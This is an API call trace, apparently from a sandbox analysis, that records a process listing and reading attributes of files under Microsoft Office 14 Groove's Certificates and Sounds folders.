	[0052.492] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VS_ComponentSigningIntermediate.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\vs_componentsigningintermediate.cer"), fInfoLevelId=0x0, lpFileInformation=0x127e40f8 | out: lpFileInformation=0x127e40f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b)) returned 1
	[0052.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Code_Signing_2001-4_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_code_signing_2001-4_ca.cer"), fInfoLevelId=0x0, lpFileInformation=0x127e4148 | out: lpFileInformation=0x127e4148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae)) returned 1
	[0052.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\VeriSign_Class_3_Public_Primary_CA.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\verisign\\components\\verisign_class_3_public_primary_ca.cer"), fInfoLevelId=0x0, lpFileInformation=0x127e4198 | out: lpFileInformation=0x127e4198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x240)) returned 1
	[0052.493] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), fInfoLevelId=0x0, lpFileInformation=0x127e41e8 | out: lpFileInformation=0x127e41e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.495] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0052.496] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.496] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.496] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.496] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1
	[0052.496] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1
	[0052.496] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1
	[0052.496] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.496] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.496] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), fInfoLevelId=0x0, lpFileInformation=0x1260a0f8 | out: lpFileInformation=0x1260a0f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.497] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.497] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.497] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 1
	[0052.497] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.497] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.497] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\SignedComponents.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\components\\signedcomponents.cer"), fInfoLevelId=0x0, lpFileInformation=0x1260a1e8 | out: lpFileInformation=0x1260a1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de)) returned 1
	[0052.498] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), fInfoLevelId=0x0, lpFileInformation=0x1260a238 | out: lpFileInformation=0x1260a238*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.499] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.499] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="SIGNED~1.CER")) returned 1
	[0052.499] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.499] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\SignedManagedObjects.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\managedobjects\\signedmanagedobjects.cer"), fInfoLevelId=0x0, lpFileInformation=0x1260a2d8 | out: lpFileInformation=0x1260a2d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290)) returned 1
	[0052.499] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), fInfoLevelId=0x0, lpFileInformation=0x1260a328 | out: lpFileInformation=0x1260a328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x127d37ec | out: lpFindFileData=0x127d37ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.500] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.500] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="MANAGE~1.CER")) returned 1
	[0052.500] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 1
	[0052.500] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d380c | out: lpFindFileData=0x127d380c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.500] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\Management.cer" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\management.cer"), fInfoLevelId=0x0, lpFileInformation=0x1260a418 | out: lpFileInformation=0x1260a418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0)) returned 1
	[0052.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\RELAY.CER" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\certificates\\groove.net\\servers\\relay.cer"), fInfoLevelId=0x0, lpFileInformation=0x1260a468 | out: lpFileInformation=0x1260a468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de)) returned 1
	[0052.500] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), fInfoLevelId=0x0, lpFileInformation=0x1260a4b8 | out: lpFileInformation=0x1260a4b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.502] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.502] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", lpFindFileData=0x127d38b4 | out: lpFindFileData=0x127d38b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.503] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.503] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="People", cAlternateFileName="")) returned 1
	[0052.503] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Places", cAlternateFileName="")) returned 1
	[0052.503] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51ce9230, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d299f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d299f70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Things", cAlternateFileName="")) returned 1
	[0052.503] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.503] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.503] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), fInfoLevelId=0x0, lpFileInformation=0x1260a5f8 | out: lpFileInformation=0x1260a5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0052.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\people"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0052.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", lpFindFileData=0x127d3850 | out: lpFindFileData=0x127d3850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0052.505] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3870 | out: lpFindFileData=0x127d3870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
